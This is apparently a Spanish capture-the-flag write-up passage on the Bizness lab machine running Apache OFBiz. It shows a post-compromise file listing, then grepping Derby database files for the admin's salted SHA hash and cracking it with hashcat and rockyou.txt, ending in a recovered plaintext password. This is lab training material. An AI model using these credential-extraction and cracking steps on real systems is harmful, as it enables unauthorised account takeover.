framework/security/src/docs/asciidoc/_include/sy-password-and-JWT.adoc
framework/security/src/docs/asciidoc/security.adoc
framework/security/entitydef/entitymodel.xml
DOCKER.md
.gradle/5.0-rc-5/taskHistory/taskHistory.bin
.gradle/5.0-rc-5/javaCompile/classAnalysis.bin
.gradle/5.0-rc-5/javaCompile/jarAnalysis.bin
.gradle/5.0-rc-5/javaCompile/taskHistory.bin
build/classes/java/main/org/apache/ofbiz/accounting/thirdparty/authorizedotnet/AIMPaymentServices.class
build/classes/java/main/org/apache/ofbiz/accounting/thirdparty/eway/EwayServices.class
build/classes/java/main/org/apache/ofbiz/accounting/thirdparty/eway/GatewayRequest.class
build/classes/java/main/org/apache/ofbiz/accounting/thirdparty/clearcommerce/CCPaymentServices.class
build/classes/java/main/org/apache/ofbiz/solr/SolrUtil.class
build/classes/java/main/org/apache/ofbiz/shipment/thirdparty/ups/UpsServices.class
build/classes/java/main/org/apache/ofbiz/shipment/thirdparty/dhl/DhlServices.class
build/classes/java/main/org/apache/ofbiz/shipment/thirdparty/usps/UspsServices.class
build/classes/java/main/org/apache/ofbiz/webapp/event/XmlRpcEventHandler$ServiceRpcHandler.class
build/classes/java/main/org/apache/ofbiz/webapp/event/XmlRpcEventHandler$OfbizRpcAuthHandler.class
build/classes/java/main/org/apache/ofbiz/webapp/webdav/WebDavUtil.class
build/classes/java/main/org/apache/ofbiz/webapp/control/JWTManager.class
build/classes/java/main/org/apache/ofbiz/webapp/control/LoginWorker.class
build/classes/java/main/org/apache/ofbiz/webapp/view/ApacheFopWorker.class
build/classes/java/main/org/apache/ofbiz/entity/datasource/GenericHelperInfo.class
build/classes/java/main/org/apache/ofbiz/entity/config/model/EntityConfig.class
build/classes/java/main/org/apache/ofbiz/entity/config/model/InlineJdbc.class
build/classes/java/main/org/apache/ofbiz/entity/model/ModelEntityChecker.class
build/classes/java/main/org/apache/ofbiz/entity/connection/DBCPConnectionFactory.class
build/classes/java/main/org/apache/ofbiz/entity/jdbc/DatabaseUtil.class
build/classes/java/main/org/apache/ofbiz/entity/GenericDelegator.class
build/classes/java/main/org/apache/ofbiz/widget/renderer/FormStringRenderer.class
build/classes/java/main/org/apache/ofbiz/widget/renderer/macro/MacroFormRenderer.class
build/classes/java/main/org/apache/ofbiz/widget/renderer/fo/FoFormRenderer.class
build/classes/java/main/org/apache/ofbiz/widget/renderer/fo/ScreenFopViewHandler.class
build/classes/java/main/org/apache/ofbiz/widget/model/ModelFieldVisitor.class
build/classes/java/main/org/apache/ofbiz/widget/model/FieldInfo.class
build/classes/java/main/org/apache/ofbiz/widget/model/ModelFormFieldBuilder.class
build/classes/java/main/org/apache/ofbiz/widget/model/ModelFormField.class
build/classes/java/main/org/apache/ofbiz/widget/model/XmlWidgetFieldVisitor.class
build/classes/java/main/org/apache/ofbiz/widget/model/ModelFormField$PasswordField.class
build/classes/java/main/org/apache/ofbiz/widget/artifact/ArtifactInfoGatherer$FieldInfoGatherer.class
build/classes/java/main/org/apache/ofbiz/widget/test/WidgetMacroLibraryTests.class
build/classes/java/main/org/apache/ofbiz/content/ftp/SimpleFtpClient.class
build/classes/java/main/org/apache/ofbiz/content/ftp/FtpServices.class
build/classes/java/main/org/apache/ofbiz/content/ftp/SecureFtpClient.class
build/classes/java/main/org/apache/ofbiz/content/ftp/SshFtpClient.class
build/classes/java/main/org/apache/ofbiz/product/store/ProductStoreWorker.class
build/classes/java/main/org/apache/ofbiz/webpos/session/WebPosSession.class
build/classes/java/main/org/apache/ofbiz/ldap/cas/OFBizCasAuthenticationHandler.class
build/classes/java/main/org/apache/ofbiz/ldap/activedirectory/OFBizActiveDirectoryAuthenticationHandler.class
build/classes/java/main/org/apache/ofbiz/ldap/commons/AbstractOFBizAuthenticationHandler.class
build/classes/java/main/org/apache/ofbiz/ldap/openldap/OFBizLdapAuthenticationHandler.class
build/classes/java/main/org/apache/ofbiz/passport/event/LinkedInEvents.class
build/classes/java/main/org/apache/ofbiz/passport/event/GitHubEvents.class
build/classes/java/main/org/apache/ofbiz/passport/user/LinkedInAuthenticator.class
build/classes/java/main/org/apache/ofbiz/passport/user/GitHubAuthenticator.class
build/classes/java/main/org/apache/ofbiz/service/ModelService.class
build/classes/java/main/org/apache/ofbiz/service/engine/XMLRPCClientEngine.class
build/classes/java/main/org/apache/ofbiz/service/config/model/Server.class
build/classes/java/main/org/apache/ofbiz/service/mail/JavaMailContainer.class
build/classes/java/main/org/apache/ofbiz/service/xmlrpc/AliasSupportedTransportFactory$AliasSupportedTransport.class
build/classes/java/main/org/apache/ofbiz/service/xmlrpc/XmlRpcClient.class
build/classes/java/main/org/apache/ofbiz/service/xmlrpc/AliasSupportedTransportFactory.class
build/classes/java/main/org/apache/ofbiz/service/rmi/socket/ssl/SSLServerSocketFactory.class
build/classes/java/main/org/apache/ofbiz/service/jms/JmsListenerFactory.class
build/classes/java/main/org/apache/ofbiz/service/jms/JmsQueueListener.class
build/classes/java/main/org/apache/ofbiz/service/jms/JmsTopicListener.class
build/classes/java/main/org/apache/ofbiz/service/jms/JmsServiceEngine.class
build/classes/java/main/org/apache/ofbiz/service/test/XmlRpcTests.class
build/classes/java/main/org/apache/ofbiz/service/test/AbstractXmlRpcTestCase.class
build/classes/java/main/org/apache/ofbiz/service/ServiceDispatcher.class
build/classes/java/main/org/apache/ofbiz/service/ModelServiceReader.class
build/classes/java/main/org/apache/ofbiz/catalina/container/CatalinaContainer.class
build/classes/java/main/org/apache/ofbiz/catalina/container/SimpleCredentialHandler.class
build/classes/java/main/org/apache/ofbiz/catalina/container/OFBizRealm.class
build/classes/java/main/org/apache/ofbiz/catalina/container/HashedCredentialHandler.class
build/classes/java/main/org/apache/ofbiz/base/crypto/HashCrypt.class
build/classes/java/main/org/apache/ofbiz/base/util/KeyStoreUtil.class
build/classes/java/main/org/apache/ofbiz/base/util/HttpClient.class
build/classes/java/main/org/apache/ofbiz/base/util/FileUtil.class
build/classes/java/main/org/apache/ofbiz/base/util/UtilHttp.class
build/classes/java/main/org/apache/ofbiz/base/util/SSLUtil.class
build/classes/java/main/org/apache/ofbiz/base/component/ComponentConfig$KeystoreInfo.class
build/classes/java/main/org/apache/ofbiz/common/authentication/example/TestFailAuthenticator.class
build/classes/java/main/org/apache/ofbiz/common/authentication/example/TestPassAuthenticator.class
build/classes/java/main/org/apache/ofbiz/common/authentication/api/Authenticator.class
build/classes/java/main/org/apache/ofbiz/common/authentication/AuthHelper.class
build/classes/java/main/org/apache/ofbiz/common/FtpServices.class
build/classes/java/main/org/apache/ofbiz/common/email/EmailServices.class
build/classes/java/main/org/apache/ofbiz/common/login/LdapAuthenticationServices.class
build/classes/java/main/org/apache/ofbiz/common/login/LoginServices.class
build/classes/java/main/org/apache/ofbiz/security/SecurityUtil.class
build/classes/java/main/org/apache/ofbiz/securityext/login/LoginEvents.class
build/distributions/ofbiz.zip
build/distributions/ofbiz.tar
build/reports/checkstyle/main.xml
build/reports/checkstyle/main.html
build/resources/main/entity-config.xsd
build/resources/main/datafiles.xsd
build/resources/main/ofbiz-component.xsd
build/resources/main/service-config.xsd
build/resources/main/widget-form.xsd
build/resources/main/site-conf.xsd
build/resources/main/ldap.xml
build/resources/main/serviceengine.xml
build/resources/main/entityengine.xml
build/libs/ofbiz.jar
README.adoc
themes/common-theme/template/ForgotPassword.ftl
themes/common-theme/template/macro/XmlFormMacroLibrary.ftl
themes/common-theme/template/macro/FoFormMacroLibrary.ftl
themes/common-theme/template/macro/XlsFormMacroLibrary.ftl
themes/common-theme/template/macro/TextFormMacroLibrary.ftl
themes/common-theme/template/macro/HtmlFormMacroLibrary.ftl
themes/common-theme/template/macro/CsvFormMacroLibrary.ftl
themes/common-theme/template/GetSecurityQuestion.ftl
themes/common-theme/template/ChangePassword.ftl
themes/common-theme/template/Login.ftl
themes/common-theme/webapp/common/js/util/application.js
themes/common-theme/webapp/common/js/jquery/jquery-3.5.1.min.js
themes/common-theme/webapp/common/js/jquery/jquery-3.5.1.js
themes/common-theme/webapp/common/js/jquery/plugins/validate/jquery.validate.min.js
themes/common-theme/webapp/common/js/jquery/plugins/validate/lib/jquery.form.min.js
themes/common-theme/webapp/common/js/jquery/plugins/validate/lib/jquery.form.js
themes/common-theme/webapp/common/js/jquery/plugins/validate/jquery.validate.js
themes/common-theme/webapp/common/js/jquery/plugins/elrte-1.3/src/elrte/js/elRTE.utils.js
themes/common-theme/webapp/common/js/jquery/plugins/elrte-1.3/js/elrte.min.js
themes/common-theme/webapp/common/js/jquery/plugins/elrte-1.3/js/elrte.full.js
themes/common-theme/webapp/common/js/jquery/plugins/hotkeys/jquery.hotkeys-0.8.js
themes/common-theme/webapp/common/js/plugins/imagemanagement/sizzle.js
themes/common-theme/webapp/common/js/plugins/imagemanagement/sizzle.min.map
themes/common-theme/webapp/common/js/plugins/imagemanagement/sizzle.min.js
themes/common-theme/widget/CommonScreens.xml
themes/common-theme/widget/Theme.xml
themes/bluelight/webapp/bluelight/style.css
themes/flatgrey/webapp/flatgrey/style.css
themes/rainbowstone/template/ForgotPassword.ftl
themes/rainbowstone/template/GetSecurityQuestion.ftl
themes/rainbowstone/template/ChangePassword.ftl
themes/rainbowstone/template/Login.ftl
themes/rainbowstone/webapp/rainbowstone/style.css
themes/rainbowstone/webapp/rainbowstone/rainbowstone-main-theme.less
themes/rainbowstone/widget/Theme.xml
themes/tomahawk/webapp/tomahawk/css/style.css
docker/docker-entrypoint.sh
docker/examples/postgres-demo/ofbiz-postgres.env
docker/examples/postgres-demo/postgres-initdb.d/10-init-user-db.sh
docker/examples/postgres-demo/postgres.env
docker/templates/postgres-entityengine.xml
plugins/example/config/ExampleUiLabels.xml
plugins/example/config/examplepdf.properties
plugins/example/widget/example/CommonScreens.xml
plugins/example/widget/example/ExampleScreens.xml
plugins/example/widget/example/ExampleForms.xml
plugins/example/testdef/assertdata/TestUserLoginData.xml
plugins/ebaystore/data/helpdata/HELP_EBAY_NewEbayAccount.xml
plugins/ebaystore/data/DemoEbayStoreData.xml
plugins/ebaystore/widget/EbayAccountForms.xml
plugins/ebaystore/widget/EbayStoreForms.xml
plugins/ebaystore/servicedef/services.xml
plugins/solr/webapp/solr/WEB-INF/controller.xml
plugins/solr/webapp/solr/js/lib/jquery.form.js
plugins/solr/webapp/solr/js/lib/jquery-1.7.2.min.js
plugins/solr/webapp/solr/js/require.js
plugins/solr/webapp/solr/libs/angular.js
plugins/solr/webapp/solr/libs/angular.min.js
plugins/solr/webapp/solr/libs/jquery-2.1.3.min.js
plugins/solr/config/solrconfig.properties
plugins/solr/src/main/java/org/apache/ofbiz/solr/SolrUtil.java
plugins/ecommerce/template/customer/ViewProfile.ftl
plugins/ecommerce/template/customer/profile/NewCustomer.ftl
plugins/ecommerce/template/customer/profile/EditProfile.ftl
plugins/ecommerce/template/customer/NewCustomer.ftl
plugins/ecommerce/template/customer/EditGiftCard.ftl
plugins/ecommerce/template/customer/ChangePassword.ftl
plugins/ecommerce/template/survey/MiniSurvey.ftl
plugins/ecommerce/template/survey/GenericResult.ftl
plugins/ecommerce/template/Login.ftl
plugins/ecommerce/template/RequirePasswordChange.ftl
plugins/ecommerce/data/DemoRentalProduct.xml
plugins/ecommerce/data/DemoPurchasing.xml
plugins/ecommerce/data/DemoTestSurveyData.xml
plugins/ecommerce/webapp/ecommerce/images/forms.css
plugins/ecommerce/webapp/ecommerce/WEB-INF/controller.xml
plugins/ecommerce/config/blog.properties
plugins/ecommerce/config/EcommerceUiLabels.xml
plugins/ecommerce/widget/CommonScreens.xml
plugins/ecommerce/widget/CustomerScreens.xml
plugins/ecommerce/groovyScripts/Login.groovy
plugins/ecommerce/groovyScripts/customer/NewCustomer.groovy
plugins/ecommerce/minilang/misc/AffiliateSimpleEvents.xml
plugins/ecommerce/minilang/misc/AffiliateMapProcs.xml
plugins/ecommerce/minilang/customer/QuickAnonCustomerEvents.xml
plugins/ecommerce/minilang/customer/CustomerEvents.xml
plugins/bizness/webapp/biznessweb/lib/jquery/jquery.min.js
plugins/webpos/template/ForgotPassword.ftl
plugins/webpos/template/GetSecurityQuestion.ftl
plugins/webpos/template/payment/PayCreditCard.ftl
plugins/webpos/template/Login.ftl
plugins/webpos/template/RequirePasswordChange.ftl
plugins/webpos/data/DemoRetail.xml
plugins/webpos/webapp/webpos/images/webpos.css
plugins/webpos/webapp/webpos/WEB-INF/controller.xml
plugins/webpos/src/main/java/org/apache/ofbiz/webpos/session/WebPosSession.java
plugins/webpos/widget/CommonScreens.xml
plugins/webpos/groovyScripts/Login.groovy
plugins/multiflex/webapp/multiflex/style.css
plugins/ldap/config/ldap.xml
plugins/ldap/src/main/java/org/apache/ofbiz/ldap/cas/OFBizCasAuthenticationHandler.java
plugins/ldap/src/main/java/org/apache/ofbiz/ldap/activedirectory/OFBizActiveDirectoryAuthenticationHandler.java
plugins/ldap/src/main/java/org/apache/ofbiz/ldap/commons/AbstractOFBizAuthenticationHandler.java
plugins/ldap/src/main/java/org/apache/ofbiz/ldap/commons/InterfaceOFBizAuthenticationHandler.java
plugins/ldap/src/main/java/org/apache/ofbiz/ldap/openldap/OFBizLdapAuthenticationHandler.java
plugins/scrum/template/includes/DemoTest.ftl
plugins/scrum/data/hookscripts/commit.py
plugins/scrum/data/scrumDemoData.xml
plugins/scrum/config/scrumUiLabels.xml
plugins/scrum/config/revision.properties
plugins/scrum/widget/ResourceForms.xml
plugins/scrum/minilang/ScrumEvents.xml
plugins/scrum/README.md
plugins/passport/webapp/passport/WEB-INF/controller-passport.xml
plugins/passport/src/main/java/org/apache/ofbiz/passport/event/LinkedInEvents.java
plugins/passport/src/main/java/org/apache/ofbiz/passport/event/GitHubEvents.java
plugins/passport/src/main/java/org/apache/ofbiz/passport/user/LinkedInAuthenticator.java
plugins/passport/src/main/java/org/apache/ofbiz/passport/user/GitHubAuthenticator.java
plugins/cmssite/template/ofbiz/OfbizMenu.ftl
plugins/cmssite/template/docbook/roundtrip/dbk2wordml.xsl
plugins/cmssite/template/docbook/roundtrip/template.xml
plugins/cmssite/documents/ApacheOfbizTechnical.xml
plugins/myportal/template/Login.ftl
plugins/myportal/template/RegisterPerson.ftl
plugins/myportal/data/MyPortalDemoData.xml
plugins/myportal/minilang/Events.xml
plugins/projectmgr/ofbiz-component.xml
plugins/projectmgr/data/ProjectMgrDemoPasswordData.xml
build.gradle
.github/workflows/docker-image.yaml
Encontramos unos archivos .dat (archivos de datos que contienen info especifica de un programa/app). Vamos a ver de que tipo de archivo se trata
ofbiz@bizness:/opt/ofbiz$ file runtime/data/derby/ofbiz/seg0/c6010.dat
runtime/data/derby/ofbiz/seg0/c6010.dat: data
Y nos dice que contiene datos
ofbiz@bizness:/opt/ofbiz$ cd runtime/data/derby/ofbiz/seg0/
ofbiz@bizness:/opt/ofbiz/runtime/data/derby/ofbiz/seg0$ ls
c10001.dat c11691.dat c12d41.dat c143f1.dat c1e01.dat c34a1.dat c4b50.dat c6201.dat c78b1.dat c8f61.dat ca611.dat cbcc1.dat cd361.dat cea1.dat
c10011.dat c116a1.dat c12d51.dat c14401.dat c1e0.dat c34b0.dat c4b61.dat c6210.dat c78c1.dat c8f71.dat ca61.dat cbcd1.dat cd371.dat cea21.dat
c1001.dat c116b1.dat c12d61.dat c14411.dat c1e10.dat c34c1.dat c4b70.dat c621.dat c78d1.dat c8f81.dat ca621.dat cbce1.dat cd381.dat cea31.dat
c10021.dat c116c1.dat c12d71.dat c1441.dat c1e21.dat c34d0.dat c4b81.dat c6221.dat c78e1.dat c8f91.dat ca631.dat cbcf1.dat cd391.dat cea41.dat
c10031.dat c116d1.dat c12d81.dat c14421.dat c1e30.dat c34e1.dat c4b90.dat c6230.dat c78f1.dat c8fa1.dat ca641.dat cbd01.dat cd3a1.dat cea51.dat
c10041.dat c116e1.dat c12d91.dat c14431.dat c1e41.dat c34f0.dat c4ba1.dat c6241.dat c7901.dat c8fb1.dat ca651.dat cbd0.dat cd3b1.dat cea61.dat
c10051.dat c116f1.dat c12da1.dat c14441.dat c1e50.dat c3501.dat c4bb0.dat c6250.dat c790.dat c8fc1.dat ca661.dat cbd11.dat cd3c1.dat cea71.dat
c10061.dat c11701.dat c12db1.dat c14451.dat c1e61.dat c3510.dat c4bc1.dat c6261.dat c7911.dat c8fd1.dat ca671.dat cbd21.dat cd3d1.dat cea81.dat
c10071.dat c1170.dat c12dc1.dat c14461.dat c1e70.dat c351.dat c4bd0.dat c6270.dat c7921.dat c8fe1.dat ca681.dat cbd31.dat cd3e1.dat cea91.dat
c10081.dat c11711.dat c12dd1.dat c14471.dat c1e81.dat c3521.dat c4be1.dat c6281.dat c7931.dat c8ff1.dat ca691.dat cbd41.dat cd3f1.dat ceaa1.dat
c10091.dat c11721.dat c12de1.dat c14481.dat c1e90.dat c3530.dat c4bf0.dat c6290.dat c7941.dat c9001.dat ca6a1.dat cbd51.dat cd401.dat ceab1.dat
c100a1.dat c11731.dat c12df1.dat c14491.dat c1ea1.dat c3541.dat c4c01.dat c62a1.dat c7951.dat c9011.dat ca6b1.dat cbd61.dat cd411.dat ceac1.dat
c100b1.dat c11741.dat c12e01.dat c144a1.dat c1eb0.dat c3550.dat c4c10.dat c62b0.dat c7961.dat c901.dat ca6c1.dat cbd71.dat cd41.dat cead1.dat
c100c1.dat c11751.dat c12e11.dat c144b1.dat c1ec1.dat c3561.dat c4c1.dat c62c1.dat c7971.dat c9021.dat ca6d1.dat cbd81.dat cd421.dat ceae1.dat
c100d1.dat c11761.dat c12e1.dat c144c1.dat c1ed0.dat c3570.dat c4c21.dat c62d0.dat c7981.dat c9031.dat ca6e1.dat cbd91.dat cd431.dat ceaf1.dat
c100e1.dat c11771.dat c12e21.dat c144d1.dat c1ee1.dat c3581.dat c4c30.dat c62e1.dat c7991.dat c9041.dat ca6f1.dat cbda1.dat cd441.dat ceb01.dat
c100f1.dat c11781.dat c12e31.dat c144e1.dat c1ef0.dat c3590.dat c4c41.dat c62f0.dat c79a1.dat c9051.dat ca701.dat cbdb1.dat cd451.dat ceb0.dat
c10101.dat c11791.dat c12e41.dat c144f1.dat c1f01.dat c35a1.dat c4c50.dat c6301.dat c79b1.dat c9061.dat ca70.dat cbdc1.dat cd461.dat ceb11.dat
c1010.dat c117a1.dat c12e51.dat c14501.dat c1f10.dat c35b0.dat c4c61.dat c630.dat c79c1.dat c9071.dat ca711.dat cbdd1.dat cd471.dat ceb21.dat
c10111.dat c117b1.dat c12e61.dat c1450.dat c1f1.dat c35c1.dat c4c70.dat c6310.dat c79d1.dat c9081.dat ca721.dat cbde1.dat cd481.dat ceb31.dat
c10121.dat c117c1.dat c12e71.dat c14511.dat c1f21.dat c35d0.dat c4c81.dat c6321.dat c79e1.dat c9091.dat ca731.dat cbdf1.dat cd491.dat ceb41.dat
c10131.dat c117d1.dat c12e81.dat c14521.dat c1f30.dat c35e1.dat c4c90.dat c6330.dat c79f1.dat c90a1.dat ca741.dat cbe01.dat cd4a1.dat ceb51.dat
c10141.dat c117e1.dat c12e91.dat c14531.dat c1f41.dat c35f0.dat c4ca1.dat c6341.dat c7a01.dat c90b1.dat ca751.dat cbe11.dat cd4b1.dat ceb61.dat
c10151.dat c117f1.dat c12ea1.dat c14541.dat c1f50.dat c3601.dat c4cb0.dat c6350.dat c7a11.dat c90c1.dat ca761.dat cbe1.dat cd4c1.dat ceb71.dat
c10161.dat c11801.dat c12eb1.dat c14551.dat c1f61.dat c3610.dat c4cc1.dat c6361.dat c7a1.dat c90d1.dat ca771.dat cbe21.dat cd4d1.dat ceb81.dat
..........
..........
..........
README_DO_NOT_TOUCH_FILES.txt
c115d1.dat c12c81.dat c14321.dat c1d30.dat c33e1.dat c4a90.dat c6130.dat c77f1.dat c8ea1.dat ca541.dat cbc01.dat cd2a1.dat ce951.dat
c115e1.dat c12c91.dat c14331.dat c1d41.dat c33f0.dat c4aa1.dat c6141.dat c7801.dat c8eb1.dat ca551.dat cbc11.dat cd2b1.dat ce961.dat
c115f1.dat c12ca1.dat c14341.dat c1d50.dat c3401.dat c4ab0.dat c6150.dat c7811.dat c8ec1.dat ca561.dat cbc1.dat cd2c1.dat ce971.dat
c11601.dat c12cb1.dat c14351.dat c1d61.dat c340.dat c4ac1.dat c6161.dat c781.dat c8ed1.dat ca571.dat cbc21.dat cd2d1.dat ce981.dat
c11611.dat c12cc1.dat c14361.dat c1d70.dat c3410.dat c4ad0.dat c6170.dat c7821.dat c8ee1.dat ca581.dat cbc31.dat cd2e1.dat ce991.dat
c1161.dat c12cd1.dat c14371.dat c1d81.dat c3421.dat c4ae1.dat c6181.dat c7831.dat c8ef1.dat ca591.dat cbc41.dat cd2f1.dat ce9a1.dat
c11621.dat c12ce1.dat c14381.dat c1d90.dat c3430.dat c4af0.dat c6190.dat c7841.dat c8f01.dat ca5a1.dat cbc51.dat cd301.dat ce9b1.dat
c11631.dat c12cf1.dat c14391.dat c1da1.dat c3441.dat c4b01.dat c61a1.dat c7851.dat c8f0.dat ca5b1.dat cbc61.dat cd30.dat ce9c1.dat
c11641.dat c12d01.dat c143a1.dat c1db0.dat c3450.dat c4b0.dat c61b0.dat c7861.dat c8f11.dat ca5c1.dat cbc71.dat cd311.dat ce9d1.dat
c11651.dat c12d0.dat c143b1.dat c1dc1.dat c3461.dat c4b10.dat c61c1.dat c7871.dat c8f21.dat ca5d1.dat cbc81.dat cd321.dat ce9e1.dat
c11661.dat c12d11.dat c143c1.dat c1dd0.dat c3470.dat c4b21.dat c61d0.dat c7881.dat c8f31.dat ca5e1.dat cbc91.dat cd331.dat ce9f1.dat
c11671.dat c12d21.dat c143d1.dat c1de1.dat c3481.dat c4b30.dat c61e1.dat c7891.dat c8f41.dat ca5f1.dat cbca1.dat cd341.dat cea01.dat
c11681.dat c12d31.dat c143e1.dat c1df0.dat c3490.dat c4b41.dat c61f0.dat c78a1.dat c8f51.dat ca601.dat cbcb1.dat cd351.dat cea11.dat
ofbiz@bizness:/opt/ofbiz/runtime/data/derby/ofbiz/seg0$ cat README_DO_NOT_TOUCH_FILES.txt
# *************************************************************************
# *** DO NOT TOUCH FILES IN THIS DIRECTORY! ***
# *** FILES IN THIS DIRECTORY ARE USED BY THE DERBY DATABASE TO STORE ***
# *** USER AND SYSTEM DATA. EDITING, ADDING, OR DELETING FILES IN THIS ***
# *** DIRECTORY WILL CORRUPT THE ASSOCIATED DERBY DATABASE AND MAKE ***
# *** IT NON-RECOVERABLE. ***
# *************************************************************************ofbiz@bizness:/opt/ofbiz/runtime/data/derby/ofbiz/seg0$
Anteriormente al grepear habia una clase que podia decirnos algo
ofbiz@bizness:/opt/ofbiz$ cat framework/base/src/main/java/org/apache/ofbiz/base/crypto/HashCrypt.java
.....
....
....
public static String cryptBytes(String hashType, String salt, byte[] bytes) {
if (hashType == null) {
hashType = "SHA";
}
if (salt == null) {
salt = RandomStringUtils.random(new SecureRandom().nextInt(15) + 1, CRYPT_CHAR_SET);
}
StringBuilder sb = new StringBuilder();
sb.append("$").append(hashType).append("$").append(salt).append("$");
sb.append(getCryptedBytes(hashType, salt, bytes));
return sb.toString();
}
private static String getCryptedBytes(String hashType, String salt, byte[] bytes) {
try {
MessageDigest messagedigest = MessageDigest.getInstance(hashType);
messagedigest.update(salt.getBytes(UtilIO.getUtf8()));
messagedigest.update(bytes);
return Base64.encodeBase64URLSafeString(messagedigest.digest()).replace('+', '.');
} catch (NoSuchAlgorithmException e) {
throw new GeneralRuntimeException("Error while comparing password", e);
}
}
.....
....
....
..
Esta linea del método cryptBytes es interesante porque vemos como se cifra
sb.append("$").append(hashType).append("$").append(salt).append("$");
En el metodo getCryptedBytes es el encergado de realizar el cigrado y el que devuelve el resultado en una cadena de texto codificada en Base 64 URL segura.
return Base64.encodeBase64URLSafeString(messagedigest.digest()).replace('+', '.');
Asi que vamos a aplicar exa expresion regular para encontrar cadenas que parezca seguir el formato de cifrado de contraseñas como se implementa ene el metodo cryptBytes de Java, donde se incluyo un tipo de algorito de hash seguido de un salt.
ofbiz@bizness:/opt/ofbiz/runtime/data/derby/ofbiz/seg0$ grep -E '\$\w+\$\w+\$' * --text
c54d0.dat: <eeval-UserLogin createdStamp="2023-12-16 03:40:23.643" createdTxStamp="2023-12-16 03:40:23.445" currentPassword="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I" enabled="Y" hasLoggedOut="N" lastUpdatedStamp="2023-12-16 03:44:54.272" lastUpdatedTxStamp="2023-12-16 03:44:54.213" requirePasswordChange="N" userLoginId="admin"/>
c6650.dat:;fPUUUNNNNUUUUUUsystemYN
'""
' :
&6)]
&system
anonymousN
&6,P
&6
&6,P
&6 admin$"$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2IYNN
,66d
,6
@
(&Sf
()@
()@>
[}f<A6
```
Si observamos el metodo encodeBase64URLSafe ,
La variación segura para URLs del algoritmo Base64 (uP0_QaVBpDWFeo8-dRzDqRwXQ2I) sustituye los caracteres + y / por - y _, respectivamente. Además, no se agrega ningún carácter de relleno al final de la cadena. (uP0/QaVBpDWFeo8+dRzDqRwXQ2I)
Este son 2 ejemplos de SHA que podrian ser
❯ hashcat --example-hashes | less
Hash mode #110
Name................: sha1($pass.$salt)
Category............: Raw Hash salted and/or iterated
Slow.Hash...........: No
Password.Len.Min....: 0
Password.Len.Max....: 256
Salt.Type...........: Generic
Salt.Len.Min........: 0
Salt.Len.Max........: 256
Kernel.Type(s)......: pure, optimized
Example.Hash.Format.: plain
Example.Hash........: 848952984db93bdd2d0151d4ecca6ea44fcf49e3:30007548152
Example.Pass........: hashcat
Benchmark.Mask......: ?b?b?b?b?b?b?b
Autodetect.Enabled..: Yes
Self.Test.Enabled...: Yes
Potfile.Enabled.....: Yes
Custom.Plugin.......: No
Plaintext.Encoding..: ASCII, HEX
:
Hash mode #120
Name................: sha1($salt.$pass)
Category............: Raw Hash salted and/or iterated
Slow.Hash...........: No
Password.Len.Min....: 0
Password.Len.Max....: 256
Salt.Type...........: Generic
Salt.Len.Min........: 0
Salt.Len.Max........: 256
Kernel.Type(s)......: pure, optimized
Example.Hash.Format.: plain
Example.Hash........: a428863972744b16afef28e0087fc094b44bb7b1:465727565
Example.Pass........: hashcat
Benchmark.Mask......: ?b?b?b?b?b?b?b
Autodetect.Enabled..: Yes
Self.Test.Enabled...: Yes
Potfile.Enabled.....: Yes
Custom.Plugin.......: No
Plaintext.Encoding..: ASCII, HEX
En esta página podemos hacer este replace de los caracteres, pasarlo de base64 y a hexa
❯ hashcat -a 0 hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting in autodetect mode
The following 15 hash-modes match the structure of your input hash:
# | Name | Category
======+============================================================+======================================
110 | sha1($pass.$salt) | Raw Hash salted and/or iterated
120 | sha1($salt.$pass) | Raw Hash salted and/or iterated
4900 | sha1($salt.$pass.$salt) | Raw Hash salted and/or iterated
4520 | sha1($salt.sha1($pass)) | Raw Hash salted and/or iterated
24300 | sha1($salt.sha1($pass.$salt)) | Raw Hash salted and/or iterated
140 | sha1($salt.utf16le($pass)) | Raw Hash salted and/or iterated
4710 | sha1(md5($pass).$salt) | Raw Hash salted and/or iterated
21100 | sha1(md5($pass.$salt)) | Raw Hash salted and/or iterated
4510 | sha1(sha1($pass).$salt) | Raw Hash salted and/or iterated
5000 | sha1(sha1($salt.$pass.$salt)) | Raw Hash salted and/or iterated
130 | sha1(utf16le($pass).$salt) | Raw Hash salted and/or iterated
150 | HMAC-SHA1 (key = $pass) | Raw Hash authenticated
160 | HMAC-SHA1 (key = $salt) | Raw Hash authenticated
5800 | Samsung Android Password/PIN | Operating System
121 | SMF (Simple Machines Forum) > v1.1 | Forums, CMS, E-Commerce
Please specify the hash-mode with -m [hash-mode].
Started: Thu May 30 16:09:19 2024
Como podemos ver nos saca varios, pero en primera opcion los primeros que pensabamos. Voy a probar con el 110 y el 120
❯ hashcat -a 0 hash -m 120 /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 5.0+debian Linux, None+Asserts, RELOC, SPIR, LLVM 16.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: cpu-sandybridge-Intel(R) Core(TM) i5-9600K CPU @ 3.70GHz, 1436/2937 MB (512 MB allocatable), 4MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Minimim salt length supported by kernel: 0
Maximum salt length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 0 MB
Dictionary cache built:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec
b8fd3f41a541a435857a8f3e751cc3a91c174362:d:monkeybizness
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 120 (sha1($salt.$pass))
Hash.Target......: b8fd3f41a541a435857a8f3e751cc3a91c174362:d
Time.Started.....: Thu May 30 16:11:56 2024 (1 sec)
Time.Estimated...: Thu May 30 16:11:57 2024 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
